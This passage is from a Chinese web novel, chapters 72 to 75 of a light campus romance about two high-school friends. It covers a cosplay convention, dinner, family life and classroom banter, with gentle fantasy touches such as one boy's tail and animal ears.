韩季京高一参加过省物竞,得奖后被省队邀请去参加全国决赛,高二上学期在集训营待了一周不到,就因为刷题太饿,半夜翻墙出去吃烧烤被逮了个正型。 集训营的总教练是个真正铁石心肠的男人,一点同理心也不拥有半分,韩季京长这么大从来没有受过此等训斥,被狠狠批斗了一番,逆反心理上来,他——好吧,就单纯上来了一下。 当然不是因为教练第二天就给他悄悄点了外卖,和做饭超级好吃的厨师怕他吃不饱天天都特别给他开小灶更是没有任何关系,只是单纯报名后再退赛会取消之后所有的竞赛资格,所以他在那一刻学会了忍辱负重、审时度势、安分守己……而已。 普光,5天。理力,7天。热统,7天。量子,6天。电动,5天。数理原子,1天。累计复习一个多月,韩季京成功取得了全国前六十的二等奖好成绩。虽然和国家集训队与保送无缘,但高考能加分就已经很是不错。 爸爸极为震惊,摆了三十五桌宴席邀请所有亲朋好友普天同庆。但之后的竞赛他都不打算参加,因为全天都窝在小房间里刷题实在有些要他的命,全凭兴趣爱好吊着那仅存的一口气。 韩季京打游戏到十一点半,关上电脑时喻修越还在那里刷题,不禁觉得自己有些颓废,伸出手翻了一下书柜上的英语阅读题,看一秒就放弃挣扎。 他先是把下巴搭在喻修越肩膀上看了一会儿,又扯扯他的衣服翻了翻他的口袋,翻出一颗牛奶味的软糖,果断塞进嘴里,嚼完后站起身走过来走过去,打开阳台门看几眼喻修越刚刚浇的花,凭借自己的心意给它们再浇了一遍水,扔了空壶拐个弯进卫生间洗漱,觉得有些困了,把自己直挺挺倒进被子里卷成一团。 半秒不到,韩季京忍不住哼哼问:“显眼包,你不和我一起睡觉吗?没有你我睡不着。” 喻修越笔尖顿了下,合上写了一半的小金卷。 韩季京把脑袋枕在他胸膛处,满足地手脚并用缠着他进入睡眠。 喻修越划了几下平板,侧头看他的脸。他的睡相毫无防备,卷毛乖翘地贴在额前,鼻梁上还有戴眼镜留下的浅痕,除了手抱的像是快把他勒死、无意识咂嘴后就直接一口咬到他衣服上之外,睡着后的韩季京安静到有些不可思议。 第二天睡醒来时,韩季京已经化好妆。喻修越拿起床头柜的眼镜戴上,看到穿着的黄色裙子的黑色小辫。 像是游戏里的瑞拉柠出现在身前,回头勾唇一笑。 天生上挑的眼尾抹了一层橘色的闪粉,鼻梁打了很重的高光,深V领口下被胸贴聚拢出一道惊心动魄的沟壑,骤然回头时,繁杂的流金二层项圈发出金属碰撞的清脆声响。 重工裙的花边绑带在脖颈后系成随时可解的活结,露出肩胛处呼之欲出的蝴蝶骨,下身层叠的后摆拖出鎏金色的瀑布,单边斜裁出高至腿根的黄金禁区。 再细细看去,紧致的腰线被一条宽大的铜钱腰带束缚出来,韩季京踩着及膝的棕色高筒靴,若隐若现的腿部曲线被衬托地更为修长有力,上方的白色镂空腿夹陷入饱满的腿肉,压出一道浅红色的勒痕。 完全是一副浓烈到具有攻击性的动人样貌,凌厉的下颌线却又泄露几分与生俱来的英气。 韩季京涂完褐色口红,眨眨眼睛凑过来,眸瞳像是被阳光煮沸的蜜糖,侧头时将发梢撩到耳后,左耳上长串的金色流苏耳扣在灯光下闪闪发光。 他问:“耳钉好看还是我好看?” 距离有些过近,眼前的脸精致到没有任何瑕疵,喻修越摘下眼镜,缓慢开口时话语变了个调:“嗯…再离近点我看一下。” 韩季京伸手帮他把眼镜戴回去,对自己满意的不得了,开口时那股冷酷劲的荡然无存:“你应该说耳钉戴在我身上才好看!” 他不满一瞬,又过滤掉负面心情,如他所愿凑地更进了点,声音雀跃:“显眼包显眼包!快给我拍照!我要发给隋霖看看!” 喻修越微微垂眼,站那没动:“一会儿你们不就见到了,提前剧透不太好吧?” 韩季京已经对着镜子看自己看了半小时,现在就是想要拍照,想了想说:“那我发给妈妈看!” 喻修越这才“嗯”了声,摸出手机:“你怎么去?滑板?还是……” “隋霖说一会儿来接我,”韩季京毫不见外地掀了下高开叉裙的裙摆,左右扇了一下,深思道,“虽然也不是不行,但穿长裙子滑滑板还是有些过于超前了。” 短裙可以,长裙的话会踩住裙摆,韩季京想象了一下那个画面,又有点被自己酷到了。 喻修越伸出手把他裙子并住,语调慢条斯理:“韩小点心,你现在已经不是一个男生了,要学会控制住自己的行为。” 韩季京分析了一下他的这番话,乖乖道:“好吧显眼包,我尽量。” 他和隋霖约的时间是十点半。 韩季京向来不和正常人一样走正门,单手压住被风掀起的裙摆,动作流畅地踩着石质桌子,扣住墙沿微一用力,轻巧落地时,看到隋霖正站在那里看他。 韩季京眼睛一亮,飞一般飘到他面前。 隋霖一身纯白色的制服,帽檐被抱在胸口,头顶的猫耳朵带着细小的绒毛,有些不适应地动了动,完全和游戏里的执政官完全是一个模子刻出来的。 韩季京弯起眸:“隋霖,你好帅诶!” 他穿的高筒靴是平底,隋霖净身高比他低了五厘米,但现在一眼看过去,竟然要比他还要高。 隋霖拉开车门,盯着他,半晌点点头:“你也很漂亮。” 韩季京身高一米八五,人群中一眼望过去突兀的出众,主要归功于他那张过于伟大的脸和自信的气场,扬唇时天生就带有吸引所有人目光的魅力。 他摸了摸,从背后掏出一个白色的小巧喇叭。 隋霖不解地看着他,看到他捣鼓了一路,下车前清了清嗓子,给里面录音:“这里有超级帅的野生猫耳执政官!” 他随即转过头,眸光亮晶晶:“隋霖,你带糖果了吗?” 隋霖点点头,将一旁白色的20寸小行李箱提上来,按下前开盖的按钮,挑出三颗黄色的糖果递给他。 韩季京剥开来塞到嘴里,耳朵被假发压的冒不出来,但不受控制地露出尾巴,在裙子里疯狂摆动着四处甩了甩。 隋霖金色的眸瞳眯起来,说:“你是一只声音很大的小狗。” 韩季京完全没有听他说话,关了喇叭,视线全部被黑色的尖尖耳朵吸引,然后看到他手上的奶酪棒,凑过去问:“我可以吃一口吗?” 隋霖动了动猫耳朵,几秒后把奶酪棒塞进他嘴里,下定义说:“你是一只爱吃东西的小狗。” 第73章 瑞拉宁有一头黑棕相间的大波浪卷发, 脸颊分别垂落两根乌黑发辫,左耳流苏耳坠长及胸口,建模形象极具辨别特色。 韩季京拍完场照踩着高筒靴在场馆里乱逛, 举着大喇叭示意所有人隋霖执政官堂堂登场,手上没一会儿就塞满了被投喂的各种东西。 遇到对自己提出的照相请求时,韩季京眉眼一弯, 笑容明媚得像朝阳,说着好啊好啊,就自然地倾身向前。 动作间两侧发丝散落下来, 其中的几缕掉进胸口被挤压出的深沟里, 不经意迷住过路人的眼睛。 其中有一个人盯着饱满的弧度,听到他声音时震惊地站在那里:“你竟然是男孩子?!” 韩季京叼着长条果冻点点头:“我是啊。”他眨眨眼睛,漂亮的面容怎么看都透着惊艳, 狡黠笑问:“那你要摸摸吗?” 对面的人嘴巴张成o形,似乎没遇到过他这等开放的人,在原地磨蹭了半晌,抬头憋出了句:“你这保真吗?” “真的啊, ”韩季京说着就想去勾衣领, “这个胸贴真的很好用啊,我可以给你推荐一下……” 隋霖一把抓住他的手, 在旁边很轻地开口:“男女有别。” 他穿着执政官的纯白披风,面无表情地说出这句话时过于有代入感, 像是在抓捕色-情-淫-秽的犯罪现场。 韩季京看着对面那人不及耳畔的假发,侧头“哇”了一声:“那我是男生还是女生呀?” 隋霖想了想,回复道:“你可以不是男生。” 韩季京若有所思地点点头。 他把长条果冻吸完,走到休息区时想一撩裙摆豪迈坐下,但脑海里突然浮现出早上喻修越的话, 又快速把双腿并起来,再捏着裙子的一角往腿上盖了盖。 裙摆是侧分高开衩,尾巴早已被他收起来,皮肤在高筒靴与布料间显露,坐下时左大腿那里完全遮盖不住,在光影的映衬下泛着健康的光泽。 隋霖把韩季京手上的东西都收到行李箱里,看着他翘起二郎腿,用裸白的胳膊撑住脑袋,就这样歪着头笑意盈盈地看着自己动作。 只一垂眼就能跌进鎏金的蜜色眼眸,过了几秒,隋霖把外套脱下来盖到了他的腿上。 韩季京感叹起来,说话时耳朵上的挂坠也跟着摇摆:“白卡特,你比显眼包要好多了诶!” 隋霖沉浸式扮演补课学生与老师,说:“学生比老师做得好,很正常。” 初中时班级表演节目,猜拳输掉后他被迫穿了粉红色的小短裙。裙子不是他的码数,上身后实在太短,坐在地上时就和没穿一样,两条长腿光溜溜地露在外边。 韩季京抓着裙摆,纠结了零点零一秒就完全不在意,转头拽着喻修越的袖子炫耀自己腿有多长。后者扶了下眼镜,伸手捏了捏他的大腿肉,站在那里斩钉截铁说他不适合穿这个,让他脱掉还回去。 本身打算试穿一下就换上自己衣服的,但被这样一说,韩季京立刻就不想脱了,就这样非常倔强地和他走了一路,让他见识见识自己有多适合穿这条裙子! 他天生眼睛又大又圆,那会儿没剪头发,一头毛卷卷地贴在脸颊,尚处在变声期,买糖葫芦时摊主还以为他是小女孩,给他多送了一颗糖雪球,韩季京嘚瑟极了,把糖雪球塞进嘴里,连着撞了三下喻修越的胳膊。 回家后妈妈问怎么回事,来蹭饭的喻修越状似乖巧地摇头,说是韩小点心自己想穿的,妈妈可以给他多买几件。 韩季京光顾着啃鸡腿,完全没注意他说了什么,只是接收到关键词就开始接话,反驳起喻修越在学校的言论:“所以我就是适合穿裙子啊!” 妈妈“哦?”了一声,从此每季度给他买新衣服时都会买上一两条裙子,虽然韩季京基本都没怎么穿过。 休息区正前方有人正在跳随舞,bgm的是《契约计划》的推广主题曲,秦皓璜刚好给他发消息问他在哪,问他:【六月份的全国赛你要去吗?!刚刚旁边有人说那对旧人今年要一起退役!此等大事我必参加!】 韩季京回复他:【我哥二十七了都,这年龄在电竞圈都入土了诶,难道不应该比他们先被赶回来吗?!】 宇宙无敌暴王龙战士:【是这样的吗?】 小心地滑:【对啊对啊】 韩季京微信昵称的意思翻译过来就是:滑滑板时因为要小心di滑,所以得小心de滑。 他和秦皓璜掰扯了一会儿,最后莫名其妙地决定下了暑假的行程,秦皓璜要来休息区找他,韩季京翻出韩城的联系方式,缠着让他提前给自己留票。 牢记HWD没有第六个人:【没问题!你哥我把他们那些票都抢过来给你!】 牢记HWD没有第六个人:【不对啊没点心小朋友,我记得你不是下学期高三?!】 小心地滑:【高三怎么了?!我都没点心了不能没点心吗?】 韩季京回了一堆土的表情包当作反击,恶狠狠地把手机关上。 他本来名字应该是韩悸惊,悸动的悸,惊心的惊,作为爸爸妈妈结婚当天的纪念,但是登户口时两个竖心旁并列着看太难看,爸爸就大嘴一张给他去掉了。 新出炉的韩季京三个字看起来异常大气,但这样一弄就有些寓意不好,去掉了心,就跟平白无故变成了傻子一样,韩城总是爱拿这个调侃。 秦皓璜从B馆出进A馆,一进门就看到要找的人,毕竟大波浪-女子浑身散发的气场过于出挑,往那一坐就是人群中最靓的星。 他走过去,正要顺着点心显眼包一起打招呼,却看到旁边的人是隋霖,不由得在问好后紧跟着啧了一句:“你对象呢?不会周末还要补课吧,我靠,不愧是学神,背地里这么卷?!” 韩季京接话说:“哪里卷了?显眼包只是去为了我以后的幸福生活奋斗罢了!” 秦皓璜心算了下他在学校光是买小零食的开销,万分赞同道:“养你的确费钱。” 他跟两个人分别合了个影,再对着韩季京哐哐一通乱照,就欢天喜地哼着歌去排签售的队伍。 韩季京待了不到半天就想去吃饭,时间离喻修越培训下课也差不多,和隋霖出场馆后去商业街的培训基地门口,在小摊买了一块炸馍两根烤肠三根丸子。 他心里想着这次一定给喻修越留一个,但想着想着就塞进嘴里全吃完了,回味过来时,已经给老板脱口而出再来两根。 隋霖递给他一杯奶茶说要先回家,韩季京把两侧的黑色辫子摘下来塞进口袋里,接过奶茶问:“白卡特,不一起吃饭吗?” 隋霖摇头:“爷爷在家等我。” 韩季京闻言眼睛一亮:“爷爷也是吗?” “他不是。”隋霖动了动猫耳朵,它在今天被认成了电动耳朵,还被不少人问了商品链接,解释说:“他一年前捡到的我。” 隋霖向他点点头,身后穿着黑色制服的保镖跟着一起向他点头,韩季京把奶茶吸管塞进嘴里,看到门口喻修越走出来的身影,回头快速眨了两下眼睛。 尖锐的电子铃声响起,喻修越领着包出门,掏出手机给置顶发消息,说自己下课了要不要去场馆接他,却听到同行的人声音大了点问:“你女朋友?” “我天这么漂亮!”另一个人:“三人行必有一只狗,不是你的不是我的,哦——喻哥,这位漂亮小姐姐是你对象?” “我不喜欢女生。”喻修越头都没抬起来,回答完后突然察觉有些不对,顿了两下,抬起头,看到韩季京穿着亮黄色的裙子在路边摊前向他疯摆手。 那裙子的颜色鲜艳得几乎刺眼,身上披着不知道从哪里来的外套,正松松垮垮地挂在肩上。裙摆随步伐荡开,走动时阳光斜照,白色靴面的光泽随着动作忽明忽暗。 隔着一段距离,还能看到棕色长发前那条闪着光的耳饰,晃动时挨住鼓囊囊的腮帮子,不知道一口气吃了多少东西。像是看到喻修越终于注意到自己,韩季京用力咽下了嘴里的东西,超大声喊他:“显眼包———!” “啊……”喻修越把手机塞到兜里,笑了下说,“还真是。” 同行的人看着他一秒就走出很远的身影,在后面尔康手:“什么意思,所以到底是不是啊,哥,显眼包是谁?你说完再走啊哥——” 韩季京跑过来,黄色裙摆在人群中划出明亮的轨迹,一个飞扑哥俩好地揽住他的肩膀。 但在喻修越盯住自己看的目光里,又觉得这身衣服做这动作有些不太对,他从善如流地收回手,一把抱住了喻修越的胳膊。 “显眼包,学习这么辛苦,你饿不饿呀?”韩季京黏着他说,胳膊紧贴住紧致山川中的谷壑,眼眸亮的像掺了蜜,“我十分钟前就等在这里了诶,我们去吃火锅吧!” “偷偷背着我吃多少了?”喻修越看到他嘴角没擦掉的孜然粉,用另一只手把他身上的外套扒下来,“人才送你来的?” “我只吃了一点,”韩季京跟着他走,捧着奶茶自顾自缠着他说:“所以去不去——去不去——去不去——你快点点头!快说去吃呀!” 喻修越慢悠悠开口:“但是我不太饿诶。” 韩季京灵机一动:“和我走到店里就会觉得饿了!或者…你坐我对面看着我吃!” 看着喻修越仍然不为所动的样子,韩季京晃了晃脑袋上棕色的大波浪,无辜地眨眨眼睛,把他胳膊抱紧,为了达到目的不择手段,熟练地叫他:“哥哥酱~但是我饿嘛~” 第74章 喻修越从小到大见多了他这副模样。 每当想要什么的时候, 韩季京都会这样。零食、玩具或者陪他去干什么……好像天生就知道自己拥有什么,用那张让人无法忍心拒绝的脸、再配合纠缠到誓不罢休的行为双管齐下,时间久了喻修越对此已经有些免疫。 但听着他兴致上来就这样换着调子哥哥哥哥地叫了一路, 一个没留神,还是被扯着胳膊拐进了路边常去的那家火锅店。 韩季京不太能吃辣,喻修越扫码点餐, 勾选番茄和骨汤的双拼鸳鸯锅,再选了几样拼盘菜,按下确定时, 见他在对面捧着手机快速眨了好几下眼睛。 戴了一天的无度数美瞳, 推开玻璃门那一刻,眼睛被水汽熏得有些干涩难受。反正漫展已经结束,韩季京打算徒手表演一个快速摘美瞳, 手还没抬起来,喻修越就从桌子对面推过来一条橙色皮筋和一盒美瞳取戴神器。 喻修越再从包里拿出一包湿纸巾:“感染了怎么办?” 韩季京随手将大波浪挽成低马尾,对着喻修越举起的化妆镜微微偏头,用镊子取下那片金色的美瞳, 欣赏了一会儿自己的美貌。 “显眼包——”镜面一晃, 茶色的眸子在眼眶里转了一圈,他说, “你简直是当代必备的二十四孝好男友诶!” “是吗,”喻修越收回镜子, 短暂笑了下,“那服务有奖励吗?” “好男友要什么奖励,”韩季京回忆起和妈妈一块看的电视剧,学了个七八分,指了指自己身上的裙子振振有词, “这是你身为男朋友的、个人应该具备的服务意识。” 他接着报菜名:“所以还需要承担我的饭后水果、芋泥小蛋糕、啵啵奶茶和糖烤栗子……少一样都不可以!” 堂而皇之地说完这番话,韩季京又突然凑近:“毕竟我化这么漂亮的妆,别人肯定以为我是你女朋友,多有排面的诶?!” 喻修越撑着脸看他,语调拉长:“但是没有一个女生的名字会叫韩季京诶——” 韩季京左想右想,好像确实是一个不怎么好看的男生名字,他思考了一下,眨眨眼睛问:“那显眼包,你喜欢什么名字呀?” “韩小点心就非常好听,”喻修越站起身,示意道,“公主要吃什么蘸料?” “花生麻酱,”韩季京把几缕掉到眼前的发丝撩到耳后,接话郑重道,“本公主不吃香菜!” 吃完饭韩季京仍旧活力四射,拉着喻修越在商业街来来回回逛了好几圈,走路生风,黄裙子随便一动就翻飞起来。 喻修越单手挂着四个零食袋,跟在后面拽了他一路的裙摆。 韩季京迈步时回头看了眼,不满地瞪他:“显眼包,你这样跟遛狗一样!” 喻修越推了推眼镜,“哦”了一声,把烤肠塞到他手里问:“难道你不是吗?” 怕走光是一方面,但更多是因为如果不拽住的话,韩季京一会儿就会跑得没影,直到遇到喜欢的景色,才不知道从哪里窜出来撒娇让他给自己照相。 毕竟韩季京达成目的之后就不会再继续缠着人,一高兴就不知道自己现在在哪了,哪里让他开心就往哪里乱冲。 两个人回到家已经晚上十点。韩季京洗完澡,穿着沙滩裤和大背心往沙发上一扑。 他抓了抓自己被水冲地略微顺直了点的原生态卷毛,打开电视满足地开始躺尸,高高翘起的尾巴从短裤被剪出来的洞里探出来,在空气中胡乱摆来摆去,速度之快,划出一道道强劲的风声。 喻修越捧着果盘走过来坐他旁边,电视上播放的是上次关闭时的综艺频道。 他低头看着韩季京刚洗出来的那张帅哥脸,皮肤水灵灵,眉宇和轮廓没有一处和女气搭边,不故意装乖时,光看表情就知道这个人有满肚子坏水。 喻修越将他和脑海里那张漂亮的脸结合到一起,翻了翻手机里充满双人合照的相册,又一次对化妆技术产生了莫大的敬畏。 韩季京把尾巴往他身上快速甩了下,碰撞时发出沉闷的声响,捧着手机嫌弃道:“邱邱人那家伙又在群里说答案错了,显眼包,他是不是真的不知道自己其实很笨啊!” 喻修越半躺在沙发上用手指缠他的尾巴,墨色眸瞳眯了下,起了点兴致:“让我看看。” 韩季京往群里打了几个字,再把茶几上的平板捞到手上,怼到喻修越眼前让他解开。 〖群聊:我们四个简直太厉害了啊!(4)〗 我有一双透视镜:【数学卷四最后一道大题是什么鬼?是答案错了吗?怎么和我算的不一样?】 我有一双透视镜:【@宇宙无敌暴王龙战士 @小心地滑 @知识滑坡,我知道你们没睡!】 小心地滑:【深柜你别挣扎了!你哪次是对的?!而且你昵称都有语病!】 小心地滑:【(数学最后一道大题0分照片)只是增加笑料罢了JPG.】 我有一双透视镜:【?偷拍我答题卡,韩点心你好狗啊!】 宇宙无敌暴王龙战士:【(数学答题卡填空题5分照片)禽兽的诡诈手段能有多少啊JPG.】 我有一双透视镜:【……已拉黑。】 知识滑坡:【小心地滑:邱深柜你别挣扎了!你哪次是对的?!而且你昵称都有语病!】 知识滑坡:【副。】 我有一双透视镜:【……】 〖系统提示:我有一双透视镜已退出本群。〗 韩季京随手把邱扬北拉回群里,再将隋霖发来的照片都点击保存,回了一个黑白色小狗撒欢的表情包,打开平板等游戏下载更新,几秒后,却收到好友拒绝入群的提示。 他朝喻修越瘪嘴:“菜就多练!邱邱人好玻璃心啊!” 喻修越不在意地熟练顺毛:“考那么差,咱们就让让他吧。” 韩季京哼唧了两声,看了眼在播放中的电视就低下头,盯着游戏界面,过了两秒又抬起头。 他看了会儿电视,甩了下大耳朵惊叹道:“林晓佳上次给我看她喜欢的那个人是谁来着,是不是那个……对,是那个坐在最左边有长长头发的人!” 喻修越对娱乐圈一向没关注过,换了动漫频道,把他从尾巴尖摸到尾巴根前一点,又放开去卷他的大黑耳朵,动作很轻,像卷卷饼那样堆在一起,握在手心里揉了揉又铺开重新卷,随口回复:“可能?” 一阵很轻的痒意顺着那里传来,韩季京聚精会神地操纵着游戏人物没有理他,等到抬起头的时候,耳朵已经被喻修越用蝴蝶结扎到了头顶,跟兔子耳朵一样直直立了起来。 他一扭腰翻身,尾巴不经意甩过茶几,把新换的玻璃茶杯又一次扫飞到地上。 伴随着清脆的声响,韩季京把平板一扔,坐在喻修越腿上,顶着兔子耳朵大声谴责:“显眼包,你不可以玩我耳朵!” 喻修越看了眼一地的玻璃残渣,情绪十分稳定,用手机照了张相:“但是很可爱啊。” “我当然可爱啊!”韩季京的耳尖俏皮地卷起一个小波浪,鼻头轻轻皱起,带着潮气的眸子泛着玻璃珠般的茶色光泽,他重重点头:“还有,隋霖比你对我好多了诶!” 喻修越想起自己忘到餐厅里的那件白色外套,不紧不慢地发了个消息让司机明天去取,点点头说:“你是这样觉得的啊,那人才的确很好。” 韩季京调整姿势跨坐在他身上,低下头记仇地开始翻旧账:“对啊对啊,他还会把外套给我耶,但是上初中的时候,我穿短裙你只会让我脱掉!” 喻修越今天出门就穿了一件卫衣,再说天气也不冷,没有必要再加一件外套。 他想到韩季京今天那件露肩露胳膊的吊带裙,看着眼前紧紧贴在胸腹上的白色背心,轻描淡写地换了个话题:“那你明天穿短裙,我绝对不说这句话了。” “真的?”韩季京耳朵尖弹了弹,略微有些不信。 喻修越跟拔萝卜一样伸手握住他头顶的耳朵,眼镜框下的眼睛慢吞吞地眨了下:“真的。” 第二天是周日,韩季京穿着短到大腿根的纯黑色裤裙,中午滑滑板回家蹭饭。 他踩着一双蓝色高帮帆布,学院风的天蓝衬衫外罩着乳白色针织马甲,水瓶蓝斜纹领带松松垮垮歪在领口,蓬松的黑色卷发被风吹得乱糟糟地贴在脸颊边,发梢还翘起几根不听话的呆毛,乍一看丝毫没有什么违和感。 滑板仿佛和他融为一体,韩季京在迎面而来的风里笑得肆意张扬,若隐若现的尖尖犬牙露出来,连衣角都带着十七岁特有的朝气。 喻修越穿着和他同款的学院风衬衣与黑色长裤,鼻梁上戴着黑色眼镜框,看着完全是一个温柔乖巧的好学生。 他骑着自行车跟在韩季京身后,到达目的地后捏住刹车把,看着滑行一圈以一种很酷的姿势停在自己眼前的人,扫过他脚上带着猫耳的袜子,盯着又长又细的腿无情摇头:“不算,这个不是裙子。” “难道你现在让我脱下来吗?!”韩季京睁大眼睛,“走之前你也没说诶,显眼包!你说话不算话!” 喻修越没有紧跟着接话,爸爸超大的哼声响起,韩季京踏进院子里,他正穿着黑色的休闲服拿着大扫帚扫地。 “不错不错,穿得多朝气蓬勃的。”爸爸见到他望过来,随着时间的流逝已经完全没有脾气,“给你买的小蛋糕在桌子上,不是说想吃?” 韩季京滑着滑板绕着他转,把爸爸刚扫在一起的叶子弄得又四处乱飘,顷刻间一早上劳动成果付诸东流。 他欢快地饶了好几圈喊:“爸比我爱你!” 妈妈在二楼探出头说:“快来端饭,有你们三个都喜欢吃的烤鱼丸哦。” 韩季京随脚一踢把滑板送到小院另一边,立刻撒欢着从整个身体都僵住的爸爸身旁溜了过去。 他一个飞跃扒着栏杆从楼梯上翻到了二楼,凑到妈妈身旁撒娇:“我要吃我要吃!我吃一口,妈咪妈咪我要先吃一口!” 妈妈笑眯眯地给他嘴里塞了一颗,又叉了一颗塞进紧随其后进来的喻修越嘴里。 穿得人模狗样的好学生喻修越勾起嘴角,咽下去后礼貌喊人:“妈妈中午好,特别好吃。” 韩季京盯着锅,尾巴从宽松短裤的裤筒挤出来摇得飞快,像雨刮器一样砸到一旁的喻修越身上。 喻修越顿了顿,在背后反手捏住他的尾巴尖,控制住让它不动。 饭桌上爸爸看面相还是没有调理好,忍着脾气在那里毫无波澜地吃饭,韩季京看了一会儿他的表情,转头举手说:“妈妈酱,我想打个耳钉!” “想打到哪?”妈妈很感兴趣地问,“耳垂不是很疼,还是你想打耳骨,或者耳蜗?” 韩季京想起执政官新皮肤的那颗白色耳钉,眼睛亮晶晶:“想打到耳垂。” 妈妈转头问喻修越:“一起打吗?” 韩季京替他做决定:“显眼包和我打同款!我打左耳朵他打右耳朵!” 虽然完全没有提前商量,但喻修越还是顺着他的意思点了点头。 “我一会儿吃完饭去给穿孔针消个毒,”妈妈思考了一下,“你们打算晚上什么时候去学校?” 周天晚上要上晚自习,晚读时会点名,因为是收假所以查得很严,走读也逃不了,韩季京悻悻道:“六点。” 实际上,五点半他就和喻修越踏入了学校的大门。 从校门口到教室门口走路七分钟,他遇到一个熟人就炫耀一下自己新打的白色耳钉,收获了六十多声好看和跟喻修越的二十六声99。 韩季京一向选择性耳背,喻修越挂着轻笑统一用点头代替问好。 其中一个体育班的人抱着篮球笑起来:“点心,你明天周一上台演讲,演讲稿准备好了吗?” “这还用准备?”韩季京压根不放在心上,“次数太多了,我直接就是一个脱稿好吧?!” 反正如果真的要读,喻修越会给他写。想到这里,他转头去看喻修越,还没开口说话,又被抱着篮球的人调侃一通:“说一句话看一下,你这轨迹比国际空间站还标准,以学神为圆心,做半径不超过1米的圆周运动是吧?” 韩季京语气得意:“羡慕我有显眼包就直说!” “学神在手,天下无敌是吧?”体育生肯定点头,扔过来一颗糖说,“到时候打球叫你啊,我先去训练了!” 韩季京反应很快,一把抓到手里跟他挥手告别。他没穿校服外套,这套蓝色短袖又没有兜,眼睛四处扫了一圈,最后放进喻修越的校服口袋里。 还没到教室门口,喻修越就又被班主任叫走。韩季京把两个人的挎包一起扔到桌子上,最角落里的两个好兄弟正坐在一起吃饭。 他用极好的视力往那里一望,看到桌子上的奶黄包和很多塑料袋,装作不经意间凑过去。 “你们在吃东西耶?没事,我就问一下。吃的什么饭?食堂还是外卖?营养够不够?奶黄包有没有——哦,没事,我就问一下而已。” 秦皓璜还在吃里脊肉夹馍,在桌子上挑了挑,把还没开袋的奶黄包塞给他:“你表演痕迹好差啊点心,想吃就直说!” 韩季京理直气壮地接到手上,叼进嘴里,脚后跟一滑凑到另一个人旁边。 邱扬北正坐在座位上低着头看手机。他把不用的环境教育书中间掏了个洞,手机完美贴合着放在那个洞里面。 “你在看什么耶?”韩季京小声问。 他贴过去,看到界面上正在放视频,内容是一个模样很眼熟的人在跳舞。 “顶楼国际班那个姓鞠的不是休学了……”邱扬北解释说,“几周前那哥们在他舞蹈视频底下放狠话,说要举报他传播少儿不宜内容——喏,就这个,举报艺术班这个男生传播淫-秽-色-情内容。” “我认识他。”韩季京点点头,视频里的人是一个舞蹈区博主,和他们同一级,两个人关系还不错。 但他这两天忙着打游戏都没怎么看手机,此刻好奇心被勾上来:“怎么回事?” “本来这事就不了了之了。然后今天早上,他们班一个叫沈河园的人,突然实名把投诉信塞到大红耗子办公室门口那个投诉信箱里了。” “这第一封就是因为穿短裤,然后跳舞时撩衣服,”邱扬北也觉得离谱,嘎嘎笑了下说,“该生跳舞时竟敢露出脖子以下部位!大腿!腹肌!这跟裸奔有什么区别?!违反学生守则,涉嫌淫-秽-色-情,需要速速整改!” “另一封是因为谈恋爱。”秦皓璜搬着凳子坐在他另一侧,划拉了一下手机屏幕,下一条内容就是这个男生和另一个人并排跳了个双人舞,两个人都穿的短袖短裤,在视频的最后,紧紧拥抱着接了个吻。 “接吻,”邱扬北咳嗽了两声,脸色收起,非常严肃地念起举报信内容:“包含隐晦性-暗示,属于隐晦色-情内容,且内容不符合正常年龄段,会带坏全体青少年吧!” “……难道他这辈子不穿短裤吗?”韩季京疑惑道,“这辈子没对象不接吻的吗?跳舞时不撩衣服的?” 秦皓璜说:“我觉得这个意思是:夏天露腿得判刑,谈恋爱得枪毙,撩衣服得发配边疆!” 邱扬北深思着回复:“他应该不需要对象,也不会跳舞吧。” 秦皓璜接话:“我刚刚来的时候他们两个还在大红耗子门口站着呢,可能被叫去谈话了。” “反正除了早恋也没什么,你那哥们应该就是跟你翻墙一样上台演个讲就行……等等,你打耳钉了?!” 韩季京咬了口奶黄包,歪头时头发卷卷地贴在额前,没注意到喻修越正好从外面走进来:“对啊对啊,和执政官新皮同款!” 第75章 从侧面望去, 喻修越的视线落在他闪着星光的茶色眼眸和自然卷翘睫毛。 白色的金属小圆点藏在自然卷的微长发丝里,如果不仔细看的话不会发现那是什么,露出的一点耳垂还有些微微泛红。 他站在窗前, 穿着中午回家的那身衬衫马甲,脊背挺得很直,黑色校裤的裤腿松垮垮地落在鞋面, 眉宇微扬着勾唇时,完全是那种走在路上会被要联系方式的帅气少年,整张脸都明亮的不可思议, 穿着像夏天冰镇过后的蓝色汽水。 喻修越站定在他身旁时, 韩季京正好伸手把卷发推到耳后,向面前的两个人展示自己刚打的耳钉。 “……新皮肤刚出时我就想打了!真的很帅诶你们不觉得吗?”韩季京比划起来,“之前过剧情, 他就是这样布灵——布灵——地天神下凡闪着耳钉一把将我拉上去了!” “我服了哥们,你这是真打游戏打魔怔了,我每次看你都以为自己上的不是全日制高中。”邱扬北吐槽完,视线一扫, “哦豁”了声问:“你那头毛能藏, 那这位呢?” 三个人的目光瞬间都转移到了喻修越身上。 他的发型是露出完整耳朵的微分碎盖,黑色钉子明晃晃地坠在右耳, 怎么看也忽视不了。 身上是黑白色的校服,鼻梁上还架着宽大的黑框眼镜, 搭配着黑色耳钉,倒显现出几分藏在好学生皮囊下的离经叛道。 韩季京打的时候完全没考虑过这一点,只是想着自己要打,那喻修越肯定也得陪他一起打,更何况后者也没有提出什么异议, 便心虚但超大声地给自己找补: “艺术班那些染发都不带说的诶,我们堂堂校园SVIP的学神就打个耳钉,怎么还要被罚写检讨站升旗台读演讲稿吗?!” 喻修越把什么也没装的空包扔到后面的桌子上,勾唇接话道:“写检讨的话,那我真的好惨哦。” “对啊对啊!”韩季京附和到一半又觉得不对,毕竟喻修越天天都在帮他写检讨,于是又摇摇头,干巴巴道:“写检讨还可以吧,不算很惨吧……” “嗯、嗯,”喻修越语气慢悠悠,“写习惯就好了。” “那你这次我帮你写,”韩季京这两天搂得多了,下意识抱住他的胳膊,有些纠结地说,“但是我没怎么写过诶,可能不太会……” “谈恋爱可以出去谈!”几句话不到两个人又贴在一起,简直没眼看,邱扬北觉得牙酸,“这里不欢迎小情侣!” 秦皓璜还在吃东西,嚼了两口,抬起头跟着正色脸道:“理科A班禁止谈恋爱!” “什么谈恋爱啊?!”韩季京懒得理他俩,“我和显眼包是亲兄弟一家人,不要把我们之间的感情说得那么低俗好吗!” 喻修越笑着点头:“嗯,是这样。” 邱扬北对此无力吐槽,余光看到班长拿着便利贴走过来问:“F4,带手机没?” 每周天晚上到学校统一签到收手机,但学生会查违禁物品时会根据年级主任的意思直接略过他们班,上交也就是走个流程,只要不玩得太光明正大就无事发生。 